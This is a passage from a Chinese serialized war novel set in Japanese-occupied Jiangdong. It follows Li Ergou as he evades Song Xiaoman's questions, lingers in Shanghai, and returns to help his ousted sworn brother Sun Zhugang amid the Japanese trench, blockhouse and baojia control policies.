“国军?”宋小曼语气带着几分讥讽:“国军早就被日本人打怕了,胆都吓破了!这大半年来,一路节节败退,丢城失地,哪里还有胆子敢回到江东?你这话骗得了乡亲们,却骗不了我!我是断然不信的!” 李二狗见她拆穿了自己的托词,故意夸张地摊开双手,摆出一副全然不知情的模样。 “哎呀,这我可就不清楚了。国军心里怎么想的,什么时候敢回来,我哪能猜到?等日后若是有机会遇上国军的人,我一定帮你好好问问,问问他们哪来的胆子敢回江东打鬼子。” 李二狗越是说得云淡风轻,宋小曼心里的疑虑就越深,越觉得这事不对劲。 她站在原地,眉头紧蹙,心里反复梳理着所有的线索。 她在心里默默盘算着。 眼下的江东早已被日本人占领,是沦陷区。 共产党在江东还没有建立自己的武装队伍,根本不可能完成全歼数百日军攻占县城的壮举。 掰着手指头数遍整个江东地界,有能力动手的,只剩下李二狗一手组建的清风集团。 虽然清风集团号称有上千人队伍,声势浩大,可内里的底细,宋小曼看得清清楚楚。 那一千多号人,全都是江东本地土生土长的庄稼汉。 几辈子都是守着几亩薄田过日子,没读过多少书,没有半点先进的思想指引,从未受过系统的思想教化,更别提正规的军事操练。 这群朴实的农民,平日里顶多抱团自保,对付地痞流氓、散兵游勇尚且勉强,怎么可能正面抗衡三四百名武装到牙齿且作战经验丰富的日本正规兵? 更让人匪夷所思的是,这支队伍不止是全歼了日军主力,竟然还顺势攻破了守备森严的江东县城,把日本人囤积在城内的武器弹药、粮草物资、战略储备,搬得一点不剩。 这般震铄古今的战绩,别说是一群未经训练的农民队伍,就算是国民党正规的作战部队,想要做到这般地步,也绝非易事。 整件事从头到尾处处透着诡异,简直不可思议。 理智一遍遍地告诉宋小曼,这绝对不是清风集团能做到的事,他们根本没有这般实力和本事。 可转念一想,除了清风集团,江东再无其他势力能办成这般大事。 难道,真的是国军所为? 这个念头刚冒出来,就被宋小曼立刻推翻。 绝对不可能! 这里是日本人重兵防守的沦陷区,国军一路溃退,早已撤离到江南一带,怎么会突然悄无声息地出现在江东深山老林里? 还精准设伏,一举歼灭江东日军主力? 最反常的是,他们攻占县城之后,抢了物资之后便匆匆撤离。 这般不合情理的操作,根本不是国军的行事风格。 假如真是国军占领了县城,一定会大肆宣扬一番。 事出反常必有妖。 宋小曼心里无比笃定,这绝对不是国军所为,所有的疑点,最终都指向了唯一的人——李二狗。 一定是他,一定是清风集团干的。 只是她想不明白,李二狗明明有这般强悍的实力,却偏偏藏着掖着,死活不肯承认,到底是为什么? 第774章 胜利属于中国 满心的疑惑和不解堵在心头,宋小曼紧绷着神色,原本质问的语气忽然软了几分,带着一丝委屈,也带着一丝执着的试探,直直地看向李二狗。 “二狗,你难道……从来都不信我吗?” 这话问得猝不及防,语气轻柔,却字字沉甸甸的,砸在李二狗心上。 李二狗闻言,几乎没有半点迟疑,立刻开口应答:“我信你啊,小曼,我什么时候不信你了?” 他的回答太干脆,反倒少了几分真心实意的温存,多了几分刻意的敷衍。 宋小曼盯着他的眼睛,步步紧逼,不肯给他半点逃避的机会。 “你若是真的信我,那你就跟我说实话!深山伏击龟田一郎,攻破江东县城的事,到底是不是你们清风集团做的?” 其实李二狗心里清楚,宋小曼是一个绝对靠谱的人,心思正、格局大,心怀家国大义。 这件事的真相,告诉她也无妨,她绝对不会向外泄露半分,更不会出卖自己和清风集团的一众兄弟。 可他心里有自己的顾虑。 他太清楚宋小曼的想法了。 她一直都想整合江东的民间武装,收编清风集团,让弟兄们投身抗日队伍,跟着他们一起打鬼子保家国。 若是今日他坦诚承认,清风集团所有的实力就会都摆在明面上,宋小曼必然会更加坚定收编清风集团的心思,日后只会日复一日地劝说自己。 李二狗不怕打仗,不怕流血,不怕跟日本人硬碰硬。 可他手下这一千多号兄弟,都是跟着他出生入死的江东乡亲。 这群人的性命,这群人的前路,他只想牢牢攥在自己手里。 他想带着兄弟们按照自己的方式抗日,安安稳稳地护住江东一方百姓,不想被任何势力收编管束,不想卷入复杂的派系纷争,更不想因为这件事,一次次和宋小曼产生分歧、争执,磨掉两人之间的情谊。 他最怕的,就是和宋小曼因为立场、路线不同,生出隔阂,闹得渐行渐远。 所以,哪怕心知瞒不住,他也只能硬着头皮,咬死不认。 李二狗避开了她灼灼的目光,别过脸去,语气带上了几分无奈的不耐,依旧死死咬着之前的说辞,试图把这场对峙敷衍过去。 “我都说了不是我们!” 他微微加重了一些语气,像是被反复追问得有些烦躁。 “全县的老百姓都是亲眼所见,外头已经传得沸沸扬扬,所有人都说是国军打的鬼子。这么多人亲眼见证的事,还能有假不成?小曼,是你们对国军的成见实在太深了!” 这是李二狗最擅长的本事,悄无声息地转移话题。 他把矛盾的焦点从自己身上挪开,扯到国共两党的派系成见之上,以此糊弄过关。 宋小曼果然上当。 听着他这番话,宋小曼心头一急,一句话直接怼了回去。 “是我对他们成见深吗?” 她眉眼带着几分愤然,语气里带着时局动荡下普通人的无奈与愤懑。 “你好好睁眼看着!短短不到一年的光景,大半个山河尽数沦陷,大好河山尽数落入日寇之手!这一桩桩、一件件,难道不是国军节节败退的责任吗?这难道也是我们的成见?” 李二狗瞬间语塞,站在原地,一时无话可驳。 他心里不得不承认,宋小曼说得没错。 这一年来,国军主力一路溃败,弃城而逃,丢失了华北、华东大片国土,万千百姓流离失所,山河破碎,满目疮痍。 大半个中国落入日寇之手,归根结底,国军确实难辞其咎。 可转念一想,他又觉得不尽然。 纵然一路败退,可国军无数将士,也从未停下抵抗的脚步。 从华北到江南,无数前线战士浴血拼杀,抛头颅洒热血,硬生生抵挡着日军的铁蹄,为后方百姓争取喘息之机,为家国留存一线生机,他们也付出了极为惨烈、极为巨大的牺牲。 自日寇悍然发动侵华战争以来,山河飘摇,国运垂危,每个中国人心头都压着一块沉甸甸的大石。 李二狗和所有国人一样,心里始终揣着一个日夜萦绕的疑问:日本这样的蕞尔小国,到底能不能彻底吞并偌大的中国? 这也是当下举国上下,所有人都在困惑的难题。 彼时中日两国的国力、军力差距,悬殊到让人头皮发麻,悬殊到近乎让人绝望。 最直观的便是那场惨烈至极的淞沪会战。 七十万国军精锐将士,对阵二十万日军精锐。 兵力三倍于敌,占据本土作战的地利人和,最终的结果,却是让人痛心疾首。 国军伤亡三十余万,无数热血将士埋骨淞沪沙场,血染黄浦江畔,而日军伤亡仅仅六万余人。 此战过后,举国震动,人心惶惶。 街头巷尾、市井乡野,到处都是唱衰国运的声音。 无数人悲观叹息,认为中国国力孱弱、军备落后,根本抵挡不住日军的铁蹄进犯。 彼时的华夏大地,风雨飘摇,山河破碎,亡国灭种的危机,仿佛近在眼前,随时都会降临。 可旁人越是悲观,越是绝望,李二狗心里反而越是笃定,越是冷静。 他从不相信,泱泱中华,会就此覆灭在日寇之手。 他始终觉得,眼下所有的溃败,都只是暂时的。 区区弹丸之地的日本,蕞尔小国,疆域狭小、人口有限、资源匮乏,凭什么吞并我们幅员辽阔、地大物博,拥有上下五千年文明积淀的泱泱大中华? 日军攻势越是凶猛,进军速度越快,战线就会拉得越长,横跨的疆域越广,他们的后勤补给、兵力调度、物资运输,就会愈发吃力,压力倍增。 长途奔袭、孤军深入,向来是兵家大忌。 鬼子现在看似势如破竹、所向披靡,早晚会成为强弩之末。 李二狗心里看得通透,只要四万万中华儿女,人人不死、不退、不降、不妥协,举国同心,以空间换取时间,以坚守熬退强敌,日复一日、年复一年地耗下去、拼下去,最后的胜利,终究会属于中国。 这一点,他从未动摇过半分。 第775 孙竹刚被罢免 李二狗努力平复着心头不断翻涌的思绪,他抬眼看向依然满脸执拗的宋小曼,语气刻意放缓了几分,同时还带着几分劝解的意味。 “小曼,我知道你心里有气,看着大片国土沦陷难受,所以才对国军有看法。可你不能一概而论,更不能全盘否定国军的功劳。眼下在前线拼杀直面日寇飞机坦克大炮的,大多都是国军将士。平心而论,他们确实在实打实地抵抗日本鬼子的侵略,确实在为守护家国流血牺牲。” 宋小曼听罢,声音突然变得大了起来。 “二狗,你怎么这么幼稚,其实……” 她还想再说些什么,想要跟李二狗掰扯清楚其中的利弊道理,想要扭转他心里这种片面的看法,可她话才刚起了个头,就被李二狗硬生生地打断了。 他不想再继续这个话题,不想再和她争执拉扯没完没了。 再多的争辩,无非是双方各执一词,这样不仅解决不了什么实质性的问题,还会让两人之间的关系愈发疏离,也会让宋小曼愈发执着。 “大院那边还有一堆烦心事等着我回去处理,我先走了。” 话音落下,不等宋小曼把话说完,也不等她再开口质问,李二狗直接转身就走了。 “李二狗!你给我站住!” 宋小曼看着他决绝的背影,又气又急,忍不住大声喊了一句,眼底满是执拗。 可李二狗就像完全没有听见身后的呼喊一般,头也不回地朝着胡家大院方向走去,很快就消失在了街道拐角,彻底避开了这场没完没了的争执。 看着空荡荡的前路,宋小曼气鼓鼓地站在原地,重重地哼了一声,满心的疑惑和不甘,无处发泄。 其实李二狗从来都不是不想抗日,更不是贪生怕死。 自打日寇踏进江东地界,残害百姓、霸占家园,他心里的抗日火种,就从未熄灭过。 只是他有自己的原则和执念。 他手底下这一千多名清风集团的兄弟,都是江东子弟,都是信任他、追随他,把性命托付给他的普通农民。 他不想把这群跟着自己讨生活的弟兄,交到任何人手里,不想被任何条条框框的规矩束缚,更不想卷入复杂的派系斗争。 唯有将这支队伍牢牢掌控在自己手中,由自己亲自带领着他们打鬼子,他才能真正安心。 与此同时,江东县的政坛,局势也悄然发生了翻天覆地的变化。 和孙竹刚之前预判的一模一样。 樱木花道新官上任,首要之事便是整顿江东县伪政府的秩序。 他到任之后不久便罢免了孙竹刚的县长职务,美其名曰是病退,取而代之的,是原本的副县长郭有财。 郭有财是一个趋炎附势之人,心甘情愿地做日本人的傀儡走狗,向来对日本鬼子唯命是从,最合樱木花道的心意。 可让人万万没想到的是,樱木花道虽然罢免了孙竹刚的实职县长职务,却偏偏别出心裁,特意给孙竹刚安排了一个县政府顾问的虚职。 对外美其名曰是敬重孙竹刚是江东本地名士,熟悉江东民情政务,大日本皇军最是人尽其才。 可内里的用意,谁都看得清清楚楚。 一来是故意羞辱孙竹刚,让他空有名头却毫无实权,眼睁睁看着自己苦心经营的一切,被自己的下属窃取。 二来也是变相的软禁拉拢,不能让孙竹刚走到对立面,也告诉其他人,日本人不会亏待任何一个做汉奸走狗的人。 这般折辱人的安排,让孙竹刚心里又气又恨,又委屈又憋屈。 满腔悲愤堵在胸口,翻涌不止,可他却偏偏一点办法都没有。 眼下江东尽数被日军掌控,他手无兵权,若是公然拒绝樱木花道的任命,便是明着和日军作对,不仅自己性命难保,就连家里的妻儿老小、一族亲人,都会受到牵连,招来灭顶之灾。 万般无奈之下,孙竹刚只能隐忍下来,硬着头皮应下了这个顾问的虚职。 只是从那日起,他便日日称病闭门,窝在家中,死活不肯去县政府上任。 新上任的县长郭有财,多年来一直跟在孙竹刚屁股后面,是孙竹刚亲手提拔的人。 现在他小人得志,一朝掌权,心里得意至极。 可他心里也清楚,孙竹刚在江东深耕多年,名望、人脉和根基都远在他之上,若是不能让孙竹刚低头任职,他这个县长坐得终究不稳。 于是郭有财便摆出一副礼贤下士的模样,一次次派人登门去孙竹刚家中邀约,请他出山履职、共理政务。 今日派人探望问安,明日上门送帖邀请,三番五次地假意殷勤,实则是步步逼迫。 这般日复一日的羞辱与逼迫,彻底压垮了孙竹刚的心神。 本就郁结在心的怒气和委屈无处排解,日日忧思、夜夜难眠,心绪积郁成疾,一来二去,孙竹刚竟是真的气倒了,缠绵病榻,身子一日比一日孱弱。 卧病在床的日子里,孙竹刚心里最惦记最期盼的人,便是李二狗。 只有他清楚江东眼下的烂摊子,清楚日本人的狼子野心,清楚郭有财的小人嘴脸。 整个江东,唯一有实力有魄力能搅动局势、制衡日军的人,只有李二狗。 更为关键的是李二狗曾经给过他承诺,江东的县长只能由他做,别人做不了。 李二狗从来都是一个说到做到的人,他相信李二狗。 他日日盼着李二狗能出手稳住江东局势,打破眼下这憋屈的局面。 可偏偏在这个最紧要、最焦灼的关头,李二狗却总是不见人影。 急得孙竹刚抓耳挠腮。 原来那日离开宋小曼之后,李二狗一来是心里烦扰,不想再日日面对宋小曼的劝说,不想再陷入收编与否的拉扯之中。 二来也是着实思念远在上海的一众亲人,惦念着那边的人和事。 再加上樱木花道刚刚上任不久,他相信一时半会儿掀不起什么风浪,索性便放下了江东这边的大小琐事,特意抽空去往了上海。 第776章 胡汉三回来了 彼时的上海滩虽然刚刚经历了战火的洗礼,但依然是整个民国最繁华热闹的十里洋场,尤其是租界区。 公共租界之内日夜歌舞升平,烟火鼎盛,和风雨飘摇、战火纷飞的中国其他地区相比,简直是两个截然不同的天地。 越是在动荡时节,人们越需要放松,越需要发泄情绪,越需要借酒消愁,越需要醉生梦死,而歌舞厅无疑是最好的良药。 位于公共租界里的百乐门大舞厅,在静雯和孙佛海两人联手经营之下,早已名声大噪,风头无两,稳稳坐稳了公共租界第一舞厅的位置,是整个上海滩最热闹、最显贵的销金窟。 歌厅里的装潢非常奢华考究,灯火璀璨,夜夜笙歌,往来的皆是达官显贵、名流阔佬、洋商买办,热闹非凡。 歌女舞女皆是静雯精心挑选的“大长腿”,另外,她还别出心裁地聘请了三位东欧的舞女,那身材、那脸蛋,一上场就会引起全场尖叫,已经成为百乐门大舞厅最闪亮的名片。 更让人眼红的是,百乐门背后的靠山极硬。 公共租界巡捕房的好几名高层官员,全都是百乐门的背后股东。 有这般权势人物在背后撑腰,百乐门大舞厅在公共租界内几乎无人敢惹。 靠着这层关系,两人暗中运作,排挤打压周边的竞争对手,周边大大小小的舞厅,要么被刻意刁难、被迫关门,要么被挤垮生意、无人问津,整片地界几乎被百乐门大舞厅一家独占,当真做到了“所到之处,寸草不生”。 李二狗一踏入上海地界,便彻底卸下了在江东的紧绷和疲惫。 远离了战火纷争的压抑,远离了日本人的监视制衡,远离了宋小曼没完没了的追问,也远离了江东局势的种种烦忧。 十里洋场的风,温柔奢靡,彻底抚平了他连日来的焦躁和郁结。 在上海的这些日子,他过得松弛而又快活,日子清闲自在,无忧无虑。 他辗转流连在一众熟人身边,日日温情相伴,闲适安逸。 时而陪着温柔体贴的于兰芝闲话家常,听她温声细语宽慰人心。 时而去往百乐门大舞厅,陪着精明能干的静雯打理琐事,看她周旋于各色宾客中间。 时而陪着头脑已有些清醒的张玲玉漫步街头,逛一逛上海滩的市井烟火。 时而与春花一起,陪着已经渐渐长大的牛犊子读书写字。 时而与活泼明艳的周楚红说笑打趣,消磨闲散时光。 闲暇之余,也会偷偷去张公馆找宋若楠聊聊世事人情。 身边的女人个个对他温柔相待,事事顺心遂意,没有纷争,没有猜忌,没有刀光剑影,没有家国重压。 除了相伴一众佳人,享受温柔光景之外,他也恪守孝道,每隔几日,便会专程去往李富贵的别墅请安问好,陪他老人家聊聊天、说说话,尽一尽为人子女的本分。 李富贵住着高档别墅,怀里搂着小娇妻,小日子过得比李二狗还要惬意。 这般温柔安逸的快活日子,最是消磨时间。 不知不觉间,李二狗便在繁华热闹的上海滩住了一个多月。 他在上海滩越是逍遥自在,远在江东的孙竹刚,就越是心急如焚。 自从李二狗离开江东去往上海之后,彻底杳无音讯。 卧病在床的孙竹刚,几乎日日、时时、刻刻都在盼望着他归来。 为了等到李二狗的消息,孙竹刚几乎每天都会打发人专程赶往胡家大院打探消息。 几乎是日日询问,日日等候。 可日复一日,派出去的人次次都是空手而归,始终没有半点李二狗归来的消息。 胡家大院里的人只说李二狗远在上海,迟迟未归,具体也不知道什么时候回来。 一次次的期盼,一次次的落空。 日复一日的等待和焦灼,彻底熬垮了孙竹刚的身子。 他本就积郁成疾,卧病在床,心里担忧着县长的宝座,可又盼不到唯一的依仗归来,日日忧心忡忡,夜夜辗转难眠。 满心的焦急、悲伤和忧虑交织在一起,压得他喘不过气。 他的病情愈发加重,身子一日弱过一日,终日卧榻不起,满心皆是无尽的悲凉。 终于有一日,李二狗和静雯亲热后,想起了江东。 “静雯,明天我要回江东了。” 李二狗虽然已在上海待了一个多月,但陪着静雯的日子却不是很多,静雯刚刚得到一点雨露滋润,正欲含苞待放之时,哪里舍得他离开。 “二狗,我不让你走嘛。”静雯依偎在李二狗怀里撒娇,“人家舍不得你走嘛。” 李二狗最中意的女人还是静雯,她这一撒娇,李二狗立马改变了主意。 这一待,又是一个多月。 等李二狗回到江东的时候,已是春暖花开的季节。 “狗哥,你可算回来,孙县长都急疯了。” 张二驴称呼孙竹刚习惯了,虽然他现在已经不是县长,但张二驴依旧称呼他为孙县长。 李二狗更是没有意识到孙竹刚已经不是江东的县长。 “孙县长找我什么事?” 张二驴这才想起,孙竹刚已经不是以前的孙竹刚了。 “奥,对了,孙县长现在已经不是县长了。” 李二狗心里暗想,糟了,自己只顾着在上海滩风花雪月,完全忘记了孙竹刚的处境。 “二驴,我去趟县城。” 李二狗刚要走,张二驴一把拉住李二狗。 “狗哥,还有件事,我说出来你可别生气。” 看张二驴吞吞吐吐的样子,李二狗直接说道:“有话就直说,我生气你就不说了?” 张二驴尴尬一笑,只好说道:“你去了上海两个月,日本人很不满意,已经宣布撤销你仙人洞镇维持会会长的职务。” 李二狗冷哼一声,自己早就不想当这个汉奸维持会长了。 但自己不想当是一回事,日本人不让当又是另一回事,在仙人洞镇,谁敢绕过李二狗维持会会长,胆子未免太大了一些。 “现在镇里的维持会长是谁?” “胡汉三。” 第777章 李二狗进城遇刁难 李二狗一听到胡汉三的名字,嘴角不禁露出一丝冷笑。 这个世界上还真有不怕死的人,自己三番两次地饶过他们一家,而他们却一直没有丝毫敬畏之心。 这不是找死吗? 李二狗知道,以他们的秉性,一旦当上维持会会长,肯定会助纣为虐、欺压百姓,心甘情愿地给日本人当狗。 “我不在的这段时间,他有没有做什么欺压百姓的事情?” 张二驴说道:“前段时间,日本人要修炮楼、挖壕沟,胡汉三安排人在各个村里抓民夫,谁不去,立马就是一顿毒打,老百姓都戳着脊梁骨骂他。” “他没到咱大院来抓人吧?” “抓人倒是没有,不过前几天他带着他儿子、侄子以及手下的几个爪牙来过大院一趟,那话里话外的意思是他早晚要收回胡家大院,让我通知你提前做好心理准备。” “他还真是王八成精了,我倒要看看他有没有这个胆子。” 李二狗放完狠话,觉得目前最重要的事还是先解决孙竹刚的事情。 他在县长的位子上坐着,自己在江东做事才方便。 “先不管这个老王八蛋,我现在去趟县城。” 李二狗骑着日本人配发的自行车来到县城,没想到在县城门口遇到了几个伪军盘查。 以前江东县并没有建立起皇协军队伍,在城门口站岗的人员除了少数几个日本鬼子之外,都是由警察充当伪军角色。 可眼前分明是穿着军装的中国人,难道江东县已经建立起了皇协军队伍? “站住!干什么的?” 一个伪军持枪挡住了李二狗的去路,李二狗本想骑着自行车直接进城,无奈只好从车上下来。 “我去县政府办点事。” 这名伪军以前在县政府打杂,他认得李二狗。 知道他是前县长孙竹刚的结拜兄弟,前仙人洞镇维持会会长,可惜,前面都带了个“前”字,早已是昨日黄花。 至于胡家大院管家这个身份,他更是嗤之以鼻。 “把你的良民证拿出来。” 李二狗以前出入县城如履平地,从来不带良民证,没想到现在竟然让他出示良民证。 孙竹刚不当县长的后遗症现在就开始显现了。 “今天出门急,没带良民证,下次我一定带。” 伪军轻蔑地一笑,说道:“那就等你下次带了良民证我再让你进去。” 李二狗还从来没受过这种窝囊气。 “我叫李二狗,你难道不认识我吗?” “李二狗是谁?哈哈哈……”伪军看向左右的同伴,夸张地笑了起来,“你就是县长,没有良民证老子也不能让你进。” “我今天要是非进不可呢?” 由于自己身后站着日本人,这名伪军根本不怕李二狗的威胁。 伪军把枪一横,嚣张地说道:“李二狗我告诉你,孙竹刚现在已经不是县长了,你少在这里嚣张,再不滚,老子把你抓起来去修炮楼。” 这要是放在以前,他敢这样和自己说话,李二狗早一个大嘴巴扇过去了。 可现在没有了孙竹刚这个靠山,自己又不是维持会会长,一旦和他们闹将起来,还真不好收场。 不能来硬的,那就来软的,李二狗从来都是一个能屈能伸的汉子。 他故意看了看伪军身后的几个日本鬼子,然后凑到伪军身前,低声说道:“兄弟,大家之前都认识,你就行个方便吧,我今天真有事找郭县长。” 说着,他把三块大洋塞到了那名伪军手里。 伪军手里握着三块大洋,冰凉的触感给他手心带来了最炽热的温度。 “进去吧,下次别忘了带。” 李二狗心里暗暗发誓,一定要帮孙竹刚夺回县长之位。 他进了城,直接来到孙竹刚家里。 二丫见到李二狗,先是一愣,继而泪流满面,直接扑到李二狗怀里。 “二狗,你可算回来了。” 这是李二狗今天第二次听到这句话,足以证明大家对他的需要。 由于在孙竹刚家中,李二狗不想和二丫表现的太过亲昵,他轻轻拍了拍二丫的后背,安慰道:“嫂子,我来晚了,大哥在家吗?” 二丫并没有起身,而是伏在李二狗胸口继续哭泣。 “你……你大哥他……他病倒了。” “咳咳咳……”屋内传来一阵剧烈的咳嗽声,“是……是……二狗兄弟吗?” 声音虽然微弱却带充满了喜悦的力量。 李二狗趁机把二丫从自己身上扶开,说道:“我先进去看看大哥。” 李二狗进入屋中,他看到孙竹刚的第一眼,惊呆了。 两个月不见,孙竹刚已形同枯槁,两个眼窝深深地凹陷下去,头发杂乱,像是刚从大牢里放出来的一般。 “大哥,你这是怎么了?” 孙竹刚当然不能说自己是因为没当上县长才这个样子的,他丢不起这人。 “哎,生了一场病,咳咳咳……总是不见好……咳咳咳……” 孙竹刚每说一句话就要咳嗽上几声,给李二狗一种行将就木的感觉。 李二狗不想和孙竹刚说些假话虚话套话。 “大哥,你的事我听说了,你放心,我答应过一定让你当上县长就一定能让你当上。” 孙竹刚闻言激动的老泪纵横,只是咳嗽的更厉害了。 “兄弟啊,”孙竹刚艰难地从被窝伸出颤抖的手握住李二狗的手,“大哥并不是非当这个县长……咳咳咳……只是受不了这个腌臜气……咳咳咳……” 孙竹刚努力控制着自己的咳嗽,蜡黄蜡黄的瘦脸竟憋得通红。 他继续说道:“他以前在我面前就像一条哈巴狗,恨不得舔老子脚趾头,现在竟摆起了谱……咳咳咳……你说……谁受得了这种羞辱,咳咳咳……” 李二狗刚刚进城的时候也深切地体会到上面没人带来的羞辱,不管是为了孙竹刚还是为了自己,江东县长的位子只能掌握在自己人手里。 他再次保证道:“大哥,你就放心吧,江东县长只能姓孙。” 得到李二狗的保证,孙竹刚顿时觉得自己的病已好了一大半。 他从床上坐起来,向着屋外大声喊道:“二丫,包海鲜馅的饺子,二狗兄弟今晚不走了。” 第778章 保甲制度 “二狗兄弟,接下来咱们怎么办?” 孙竹刚心里还是一直惦记着县长的宝座。 目前马有财已就任江东县长,上面又有宪兵队长樱木花道的支持,孙竹刚确实不知道李二狗如何让自己当上这个县长。 其实李二狗目前也没有想到好办法,虽然没有想到好办法,但他很确信,他肯定可以想到好办法。 至于为什么这么自信,他自己都不知道,他只知道,他肯定能行。 “大哥,有些事不能着急,我需要一些时间来进行布局。” 孙竹刚不由得叹了一口气。 “兄弟,你可能不知道,樱木花道很信任马有财,而且自从马有财当上县长之后,的确帮着日本人做了不少事情,深得樱木花道欢心,我只怕……” “大哥,事在人为,你不用担心。” 李二狗顿了顿,接着问道:“大哥,你说马有财帮着日本人做了很多事情?他都做了什么?” 孙竹刚这段时间虽然人在病榻,但对马有财的事却很上心,他做的事情他全都知道。 “别的先不说,只说修炮楼、挖壕沟这件事,马有财深得樱木花道欢心,在大会小会上,樱木花道表扬了他很多次。” 修炮楼、挖壕沟并不是什么新鲜事,马有财仅凭这件事就能得到樱木花道欢心,李二狗感到有些意外。 “难道是因为他修得炮楼更结实?挖的壕沟更深?” 孙竹刚脸上愁云密布。 “不是这些!”孙竹刚咳嗽几声,清了清嗓子,“以前没看出马有财有什么真本事,没想到这小子花花肠子还不少。” 花花肠子肯定不是什么好事,李二狗问道:“他什么花花肠子?” 孙竹刚一脸的鄙夷,不屑地说道:“这小子鉴于上次龟田一郎全军覆没的教训,便给日本人出了一个恶毒的主意。” “什么恶毒的主意?” 孙竹刚依然是一脸的鄙夷。 “他给日本人建议,把整个江东县的地盘按照乡镇分隔成不同的区域,在两个乡镇相邻的地方挖一条至少深三米宽三米的壕沟,把两个乡镇彻底隔离开,然后在壕沟的两侧都架设上铁丝网,这样就把全县人为地分隔成十几块独立的区域。一个乡镇的百姓想要进入其他乡镇,只能通过几个关键的路口进入,而在这些主要道路的交叉口都修建了炮楼。” 李二狗之前去过东北,在东北,日本人就是用这种方法来对付中国人的反抗。 这个方法不是马有财想出来的,肯定是樱木花道授意的。 日本人声称要建立东亚新秩序,现在却对中国实行囚笼政策,日本人才不想承担这个骂名,有马有财这样的汉奸出面最合适不过了。 典型的以华制华,这是日本人惯用的伎俩。 孙竹刚看不透里面的道道,李二狗也不想点明,省得还得多费口舌。 看李二狗沉默不语,孙竹刚继续说道:“这还不止,马有财还出了一个更坏的主意。” “更坏的主意?什么主意?” “这小子真是坏的流脓,他竟然把中国古代的保甲制度重新翻了出来。” 李二狗读书不多,对于中国古代的保甲制度并不是很了解,但他又不想让孙竹刚察觉到自己不了解,便说道:“保甲制度岂是他说用就会用的?他有这个本事吗?” 孙竹刚则一脸认真地说道:“兄弟,你可不能小看了马有财,这小子可是一肚子坏水。” “奥?”李二狗故意拉了一个长音,“他是怎么做的?” “保甲制度源于中国封建统治时期的一种基层统治手段,本质是通过户籍编制和连坐制度实现对民众的层级控制。” 孙竹刚一副人师的模样。 “马有财将古代的保甲制度进行了改革创新,他将江东每个乡镇的百姓按照“保—甲—牌”的层级网络进行划分,10户为1牌,10牌为1甲,10甲为1保。同时严格规定了保长、甲长、牌长的各项职务,且一个牌中的百姓中有犯反日罪、内乱罪、外患罪、公共危害罪及其他一些日本人规定的罪行,这个牌中的各户都要处以连坐惩罚,小则罚款,大则逮捕,若出现‘通匪’等行为,不仅本人遭受严惩,左邻右舍均遭株连,因此民众都战战兢兢,不敢犯错。如果这种高压制度完全实施,肯定会迫使百姓陷入相互戒备的恐惧氛围之中。” 李二狗听后,沉默了一会儿才幽幽地说道:“看来这个马有财是不能留了。” 但除掉马有财容易,不过即使自己除掉了他,樱木花道也不会轻易让孙竹刚接任县长,他对孙竹刚是非常失望的。 “大哥,我刚才进城的时候看到城门口有皇协军在站岗,江东成立皇协军了?” 孙竹刚脸色更难看了。 “是啊,也是刚刚成立不久,是一个团的编制,目前有七八百人,还在继续招兵买马,团长叫吴政兴,是省里派下来的。” “省里派下来的……” 李二狗反复念叨着这句话。 “大哥,你现在既然是县政府的顾问,那就不能老躲在家里,你得去上班啊。” 孙竹刚一听上班,头晕的更厉害了。 “兄弟,马有财曾经是我的手下,我现在却要到他手底下工作,我接受不了!大哥丢不起这人呐。” “大哥,小不忍则乱大谋,无论是樱木花道还是马有财、吴政兴,咱们都不熟悉,知己知彼方能百战百胜,这个班你必须去上。” 孙竹刚虽然水平有限,能力一般,但在官场浸淫多年,当即便听明白了李二狗的意思。 “好,大哥听你的,明天我就去上班。” “大哥,你放心,不出仨月,江东县长必是你的。” 李二狗这句话等于给孙竹刚吃了一颗定心丸。 “大哥都听你的,”孙竹刚脸色顿时红润了许多,“二丫,海鲜馅饺子包好了没有?咱二狗兄弟都饿了。” “来了,海鲜馅的饺子,二狗兄弟快趁热吃!” 二丫明媚的笑容令李二狗心头微微一颤。 第779章 贼眉鼠眼 李二狗白天去县城找孙竹刚时走的是县里那条贯通南北的宽敞大道。 那时候道路两旁都是挖壕沟的民夫,他们穿着打满补丁的粗布短褂,挽着裤脚,手里攥着铁镐、铁锹,埋头不停地刨土挖沟。 尘土被风卷着四处飘飞,混着民夫们粗重的喘息声和铁锹铲土的哗啦声,在空旷的原野上回荡。 李二狗当时赶路心切,一心只想着赶紧进城找孙竹刚,只当这是普通的修路劳作,看过之后并没有在意便抛在了脑后。 和孙竹刚聊过之后他才知道,原来这是日本人在大规模地挖壕沟、修炮楼。 怪不得张二驴说,胡汉三在仙人洞镇征调了很多民夫。 傍晚时分,李二狗从孙竹刚家里告辞出来,在返回胡家大院的路上,心境已与白天全然不同。 一路上,他刻意放缓自己行进的速度,细细打量着周围的环境变化。 一路看下来,果然和孙竹刚说的分毫不差。 原本可以顺畅通行的大路两侧,硬生生给挖出了两道壕沟。 这些壕沟规整方正,全部三米深、三米宽,两侧的沟壁被修整得坚实平整,足以困住行人车马,根本无从翻越。 有些已经完工的壕沟,两侧边沿都已经架上了密密麻麻的铁丝网。 这些铁丝拧得紧实锋利,一根根铁刺朝外竖起,冷硬的铁身在渐暗的天色里泛着森冷的暗光,层层缠绕在一起,把整条道路围得严严实实,根本没有空隙可循。 在几处核心的十字路口,更是忙得热火朝天。 一座座砖石结构的炮楼正在拔地而起,轮廓已然清晰分明。 民夫来回穿梭其中搬运砖石木料,叮叮当当的敲打声、搬运重物的吆喝声此起彼伏,热闹的景象背后,藏着日本人不可告人的阴谋。 李二狗站在路边,静静地望着眼前的一切,眼底神色沉静,心底却看得透亮。 早前日本鬼子盘踞江东地界,因为兵力有限,人手捉襟见肘,根本无力铺开大范围的防控。 那个时候他们只求守住县城核心区域,只在城门、主干道、集镇关口这几处要害地段,零星修建了几座炮楼,勉强维持着表面的统治,江东大部分地区管控非常松散,漏洞极多。 可现在他们已经扶持建立起了一支庞大的伪军队伍,局势就彻底改变了。 这些贪图富贵、甘愿屈膝做日本鬼子的走狗奴才,摇身一变就成了日本鬼子的爪牙。 伪军队伍迅速扩充,日本鬼子无需再抽调本土兵力驻守各处隘口,大大小小的值守、修筑工事的杂活,尽数丢给伪军去做。 人手一下子变得如此充裕,日本鬼子的底气也足了。 他们强征大批民工,不分昼夜地修筑壕沟、搭建铁丝网、新建炮楼。 哪怕凭空多出几十座炮楼、上百道壕沟,也有足够的伪军兵力来驻守巡逻。 李二狗望着绵延无尽的壕沟与一座座拔地而起的炮楼,心头十分沉重。 他心里很清楚,若是任由日本人这般折腾下去,等所有工事全部落地,整个江东地界,就彻底成了一座密不透风的巨大囚笼。 四方道路尽数被壕沟和炮楼封锁,村镇要道全在炮楼的监视之下。 